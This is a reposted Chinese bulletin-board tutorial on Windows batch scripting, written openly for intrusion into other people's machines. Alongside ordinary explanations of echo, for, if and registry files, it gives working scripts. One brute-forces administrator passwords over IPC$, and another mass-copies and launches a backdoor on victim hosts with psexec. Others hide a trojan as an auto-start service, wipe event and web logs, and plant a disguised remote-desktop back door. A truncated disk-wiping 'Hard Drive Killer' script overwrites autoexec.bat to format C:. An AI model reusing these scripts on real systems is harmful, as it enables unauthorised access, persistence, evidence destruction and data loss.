2012年1月3日 星期二

BAT教學

最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相

關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語雲:“

授人以魚,不如授人以漁。”因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫

了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋

友們.



批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cm

d。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按

照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或

腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵

中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序

等。下面就開始我們批處理學習之旅吧。




一.簡單批處理內部命令簡介

1.Echo 命令

打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回

顯設置。

語法

echo [{on|off}] [message]

Sample:@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實

現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。





2.@ 命令

表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能

讓對方看到你使用的命令啦。

Sample:@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留

了個autoset這個參數給我們,效果和/y是一樣的。)



3.Goto 命令

指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。

語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)


Sample:

if {%1}=={} goto noparms

if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳

細的解釋。)

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標

簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來

才會理解你的意圖啊。



4.Rem 命令

注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便于

別人閱讀和你自己日後修改。

Rem Message

Sample:@Rem Here is the description.



5.Pause 命令

運行 Pause 命令時,將顯示下面的消息:

Press any key to continue . . .

Sample:


@echo off

:begin

copy a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另

一張磁盤放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁盤,然後按任意鍵繼

續處理。



6.Call 命令

從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作

調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。

語法

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。



7.start 命令

調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。

入侵常用參數:


MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 位 Windows 程序

HIGH 在 HIGH 優先級類別開始應用程序

REALTIME 在 REALTIME 優先級類別開始應用程序

WAIT 啟動應用程序並等候它結束

parameters 這些為傳送到命令/程序的參數

執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。

如果在命令腳本內執行,該新行為則不會發生。

8.choice 命令

choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數

,c:後應寫提示可輸入的字符,之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end

將顯示

defrag,mem,end[D,M,E]?

Sample:

Sample.bat的內容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end




:defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye



此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判

斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為en

d的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good by

e,文件結束。



9.If 命令



if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:

1、if \參數\ == \字符串\  待執行的命令

參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號

)

如if \%1\==\a\ format a:

if {%1}=={} goto noparms


if {%2}=={} goto noparms



2、if exist 文件名  待執行的命令

如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如if exist config.sys edit config.sys



3、if errorlevel / if not errorlevel 數字  待執行的命令

如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2  

DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼

為0、1。



10.for 命令

for 命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable



for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一個單一字母可替換的參數。

(set) 指定一個或一組文件。可以使用通配符。

command 指定對每個文件執行的命令。

command-parameters 為特定命令指定參數或命令行開關。

在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable


而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同于 %I



如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到

支持:



FOR /D %variable IN (set) DO command [command-parameters]



如果集中包含通配符,則指定與目錄名匹配,而不與文件

名匹配。



FOR /R [[drive:]path] %variable IN (set) DO command [command-



檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的

FOR 語句。如果在 /R 後沒有指定目錄,則使用當前

目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。



FOR /L %variable IN (start,step,end) DO command [command-para



該集表示以增量形式從開始到結束的一個數字序列。

因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生

序列 (5 4 3 2 1)。




FOR /F [\options\] %variable IN (file-set) DO command

FOR /F [\options\] %variable IN (\string\) DO command

FOR /F [\options\] %variable IN (command) DO command



或者,如果有 usebackq 選項:



FOR /F [\options\] %variable IN (file-set) DO command

FOR /F [\options\] %variable IN (\string\) DO command

FOR /F [\options\] %variable IN (command) DO command



filenameset 為一個或多個文件名。繼續到 filenameset 中的

下一個文件之前,每份文件都已被打開、讀取並經過處理。

處理包括讀取文件,將其分成一行行的文字,然後將每行

解析成零或更多的符號。然後用已找到的符號字符串變量值

調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開

的第一個空白符號。跳過空白行。您可通過指定可選 \options\

參數替代默認解析操作。這個帶引號的字符串包括一個或多個

指定不同解析選項的關鍵字。這些關鍵字為:



eol=c - 指一個行注釋字符的結尾(就一個)

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的


默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代

的 for 本身。這會導致額外變量名稱的

格式為一個范圍。通過 nth 符號指定 m

符號字符串中的最後一個字符星號,

那麼額外的變量將在最後一個符號解析之

分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:

在作為命令執行一個後引號的字符串並且

引號字符為文字字符串命令並允許在 fi

中使用雙引號擴起文件名稱。



sample1:

FOR /F \eol=; tokens=2,3* delims=, \ %i in (myfile.txt) do command



會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將

每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或

空格定界符號。請注意,這個 for 程序體的語句引用 %i 來

取得第二個符號,引用 %j 來取得第三個符號,引用 %k

來取得第三個符號後的所有剩余符號。對于帶有空格的文件

名,您需要用雙引號將文件名括起來。為了用這種方式來使

用雙引號,您還需要使用 usebackq 選項,否則,雙引號會


被理解成是用作定義某個要分析的字符串的。



%i 專門在 for 語句中得到說明,%j 和 %k 是通過

tokens= 選項專門得到說明的。您可以通過 tokens= 一行

指定最多 26 個符號,只要不試圖說明一個高于字母 z 或

Z 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;

同時不能有 52 個以上都在使用中。



您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,

用單引號將括號之間的 filenameset 括起來。這樣,該字符

串會被當作一個文件中的一個單一輸入行。



最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將

括號之間的 filenameset 變成一個反括字符串。該字符串會

被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進

內存,並被當作文件分析。因此,以下例子:



FOR /F \usebackq delims==\ %i IN (`set`) DO @echo %i



會枚舉當前環境中的環境變量名稱。



另外,FOR 變量參照的替換已被增強。您現在可以使用下列


選項語法:



~I - 刪除任何引號(\),擴充 %I

%~fI - 將 %I 擴充到一個完全合格的路徑名

%~dI - 僅將 %I 擴充到一個驅動器號

%~pI - 僅將 %I 擴充到一個路徑

%~nI - 僅將 %I 擴充到一個文件名

%~xI - 僅將 %I 擴充到一個文件擴展名

%~sI - 擴充的路徑只含有短名

%~aI - 將 %I 擴充到文件的文件屬性

%~tI - 將 %I 擴充到文件的日期/時間

%~zI - 將 %I 擴充到文件的大小

%~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個完全合格的名稱。如果環境變量

未被定義,或者沒有找到文件,此組合鍵會擴充

空字符串



可以組合修飾符來得到多重結果:



%~dpI - 僅將 %I 擴充到一個驅動器號和路徑

%~nxI - 僅將 %I 擴充到一個文件名和擴展名

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名


%~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充

到找到的第一個驅動器號和路徑。

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR



在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法

用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名

比較易讀,而且避免與不分大小寫的組合鍵混淆。



以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。



sample2:



利用For命令來實現對一台目標Win2k主機的暴力密碼破解。

我們用net use \\ip\ipc$ \password\ /u:\administrator\來嘗試這和目標主機進行連接

,當成功時記下密碼。

最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ \i%\ /u:\admini

strator\

用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序

運行結果傳遞給find命令--

for /f i%% in (dict.txt) do net use \\ip\ipc$ \i%%\ /u:\administrator\|find \:命

令成功完成\>>D:\ok.txt ,這樣就ko了。




sample3:



你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心

的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任

務。那麼如何實現呢?呵呵,看下去你就會明白了。



主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)

@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call door.bat %%i %

%j %%k

tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給doo

r.bat中的參數%i %j %k。

而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然

後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指

定的文件。

delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim

..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip passw

ord username。

代碼雛形:

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------

@echo off

@if \%1\==\\ goto usage


@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call IPChack.bat %%

i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

------------------





------------------- cut here then save as a batchfile(I call it door.bat) ------

-----------------------

@net use \\%1\ipc$ %3 /u:\%2\

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2

PWD %3 >>ko.txt

@psexec \\%1 c:\winnt\system32\windrv32.exe

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.t

xt

:failed

@echo Sorry can not connected to the victim.


------------------------

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.

exe需放在統一目錄下.批處理內容

尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之

具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.





--

___|)_________|___________

|___/___|______|____

|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

|

(_| 讓生命隨著這火紅的音樂而舞動吧!







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標 題: 簡明批處理教程-2

發信站: BBS 水木清華站 (Fri Dec 26 09:09:36 2003), 轉信



簡明批處理教程-2



No.2

二.如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種

情況並不多見,我們就不考慮它了。

sample1:fomat.bat

@echo off

if \%1\==\a\ format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,

好像有點畫蛇添足了~^_^

sample2:

當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把


一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處

理,這樣就不用每次都打命令了。

@echo off

@net use \\1%\ipc$ \2%\ /u:\3%\ 注意哦,這裡PASSWORD是第二個參數。

@if errorlevel 1 echo connection failed

怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.No.3

三.如何使用組合命令(Compound Command)





1.&



Usage:第一條命令 & 第二條命令 [& 第三條命令...]



用這種方法可以同時執行多條命令,而不管命令是否執行成功



Sample:

C:\>dir z: & dir c:\Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of c:\Ex4rch




2002-05-14 23:51



..

2002-05-14 23:51

...

2002-05-14 23:51 14 sometips.gif



2.&&



Usage:第一條命令 && 第二條命令 [&& 第三條命令...]



用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一

直沒有出錯則一直執行完所有命令;



Sample:

C:\>dir z: && dir c:\Ex4rch

The system cannot find the path specified.



C:\>dir c:\Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB




Directory of c:\Ex4rch



2002-05-14 23:55

..

2002-05-14 23:55

...

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.



在做備份的時候可能會用到這種命令會比較簡單,如:

dir file&#58//192.168.0.1/database/backup.mdb && copy file&#58//192.168.0.1/da

tabase/backup.mdb E:\backup

如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命

令。這種用法可以替換IF exist了 :)



3.||



Usage:第一條命令 || 第二條命令 [|| 第三條命令...]




用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒

有出現正確的命令則一直執行完所有命令;



Sample:

C:\Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB



Directory of C:\Ex4rch



2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free



組合命令使用的例子:

sample:

@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2

PASS %3 >>victim.txt





--

___|)_________|___________


|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

|

(_| 讓生命隨著這火紅的音樂而舞動吧!







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標 題: 簡明批處理教程-3

發信站: BBS 水木清華站 (Fri Dec 26 09:10:21 2003), 轉信



簡明批處理教程-3



No.4

四、管道命令的使用





1.| 命令

Usage:第一條命令 | 第二條命令 [| 第三條命令...]

將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。



sample:

time /t>>D:\IP.log

netstat -n -p tcp|find \:3389\>>D:\IP.log

start Explorer

看出來了麼?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個

bat,以獲得登錄用戶的IP。



2.>、>>輸出重定向命令


將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清除調原

有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容

。



sample1:

echo hello world>c:\hello.txt (stupid example?)



sample2:

時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡

鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下

的EXE和DLL文件作一個記錄:

運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,

日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.

這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1

..txt中,然後運行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt

..(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現

一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容

易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用

regsvr32 /u trojan.dll將後門DLL文件注銷掉,再把它移到回收站裡,若系統沒有異常反映

再將之徹底刪除或者提交給殺毒軟件公司。




3.< 、>& 、<&

< 從文件中而不是從鍵盤中讀入命令輸入。

>& 將一個句柄的輸出寫入到另一個句柄的輸入中。

<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。

這些並不常用,也就不多做介紹。



No.5

五.如何用批處理文件來操作注冊表



在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門

、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改

注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。

下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG

文件)

關于注冊表的操作,常見的是創建、修改、刪除。



1.創建

創建分為兩種,一種是創建子項(Subkey)



我們創建一個文件,內容如下:




Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]



然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字

為“hacker”的子項。



另一種是創建一個項目名稱

那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\Door\=C:\\WINNT\\system32\\door.exe

\Autodos\=dword:02



這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about這三個項目

Invader的類型是“String &#118alue”

door的類型是“REG SZ &#118alue”

Autodos的類型是“DWORD &#118alue”






2.修改

修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入

(regedit /s)即可。



3.刪除

我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Ex4rch\=-



執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

的\Ex4rch\就被刪除了;



我們再看看刪除一個子項,我們創建一個如下的腳本:



Windows Registry Editor Version 5.00



[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]




執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就

已經被刪除了。



相信看到這裡,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容

的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。



samlpe1:如上面的那個例子,如想生成如下注冊表文件

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\door\=hex:255

\Autodos\=dword:000000128

只需要這樣:

@echo Windows Registry Editor Version 5.00>>Sample.reg



@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.

reg

@echo \Invader\=\Ex4rch\>>Sample.reg

@echo \door\=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo \Autodos\=dword:02>>Sample.reg






samlpe2:

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Mi

crosoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值

用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地

若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win

drv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch

..dll

@echo \windsnx \=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver

binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll



@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬

性設為隱藏和只讀,並config為自啟動]

@REM 這樣不是更安全^_^.

 


--

___|)_________|___________

|___/___|______|____

|__/|___|-.__,-|________

|_/(|,\_|/___`-'______

|_\_|_/__________

|

(_| 讓生命隨著這火紅的音樂而舞動吧!







文章出處:proxy.smth.edu.cn
發信人: duguK (一切隨緣), 信區: DOS

標 題: 簡明批處理教程-4

發信站: BBS 水木清華站 (Fri Dec 26 09:11:02 2003), 轉信



簡明批處理教程-4



No.6

六.精彩實例放送。

1.刪除win2k/xp系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------

------------





@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off



:Rem check parameters if null show usage.

if {%1}=={} goto :Usage



:Rem code start.

echo.


echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.


echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:\delshare.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramete

rs]>> c:\delshare.reg

echo \AutoShareWks\=dword:00000000>> c:\delshare.reg

echo \AutoShareServer\=dword:00000000>> c:\delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:\delshare.reg

echo Deleting the temprotarily files.

del c:\delshare.reg

goto :END



:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆

echo ☆ [Use batch file to change the sysytem share properties.] ☆

echo.

echo Author:Ex4rch

echo Mail:Ex4rch@hotmail.com QQ:1672602

echo.


echo Error:Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance,to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: ,Please chang it youself.

echo.

echo example:

echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command int

o :

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF



:END

echo.

echo ------------------------------------------------------


echo.

echo OK,delshare.bat has deleted all the share you assigned.

echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.

echo

echo.

echo ------------------------------------------------------

echo.



:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------

------------





2.全面加固系統(給肉雞打補丁)的批處理文件

------------------------ cut here then save as .bat or .cmd file ---------------

------------



@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\paramet

ers] >>patch.dll




@echo \AutoShareServer\=dword:00000000 >>patch.dll

@echo \AutoShareWks\=dword:00000000 >>patch.dll

@REM [禁止共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll

@echo \restrictanonymous\=dword:00000001 >>patch.dll

@REM [禁止匿名登錄]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>

patch.dll

@echo \SMBDeviceEnabled\=dword:00000000 >>patch.dll

@REM [禁止及文件訪問和打印共享]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>p

atch.dll

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dl

l

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

>>patch.dll

@echo \ShutdownWithoutLogon\=\0\ >>patch.dll


@REM [禁止登錄前關機]



@echo \DontDisplayLastUserName\=\1\ >>patch.dll

@REM [禁止顯示前一個登錄用戶名稱]

@regedit /s patch.dll





------------------------ cut here then save as .bat or .cmd file ---------------

------------



下面命令是清除肉雞所有日志,禁止一些危險的服務,並修改肉雞的terminnal service留

跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

@del c:\winnt\system32\config\*.event /f /q

@del c:\winnt\system32dtclog\*.* /f /q

@del c:\winnt\*.txt /f /q

@del c:\winnt\*.log /f /q

@net start w3svc


@net start event log

@rem [刪除日志]







@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [禁止一些危險的服務。]



@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinSt

ations\RDP-Tcp] >>patch.dll

@echo \PortNumber\=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\r

dpwd\Tds\tcp >>patch.dll

@echo \PortNumber\=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

@echo \Start\=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch


..dll

@echo \Start\=dword:00000002 >>patch.dll

@echo \ErrorControl\=dword:00000001 >>patch.dll

@echo \ImagePath\=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6

f,00,\ >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65

,\ >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00

>>patch.dll

@echo \ObjectName\=\LocalSystem\ >>patch.dll

@echo \Type\=dword:00000010 >>patch.dll

@echo \Description\=\Keep record of the program and windows message。\ >>patch.d

ll

@echo \DisplayName\=\Microsoft EventLog\ >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch

..dll

@echo \Start\=dword:00000004 >>patch.dll

@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

@REM [修改3389連接,端口為8210(十六進制為00002012),名稱為Microsoft EventLog,留

條後路]



3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。)


------------------------ cut here then save as .bat or .cmd file ---------------

------------

@echo off

rem This program is dedecated to a very special person that does not want to be

named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.



set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z



rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about

how it

rem works, its d\*amn to complicated for the average or even the expert batch pr


ogrammer.

rem Except for Tom Lavedas.



echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find \Vol\ > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

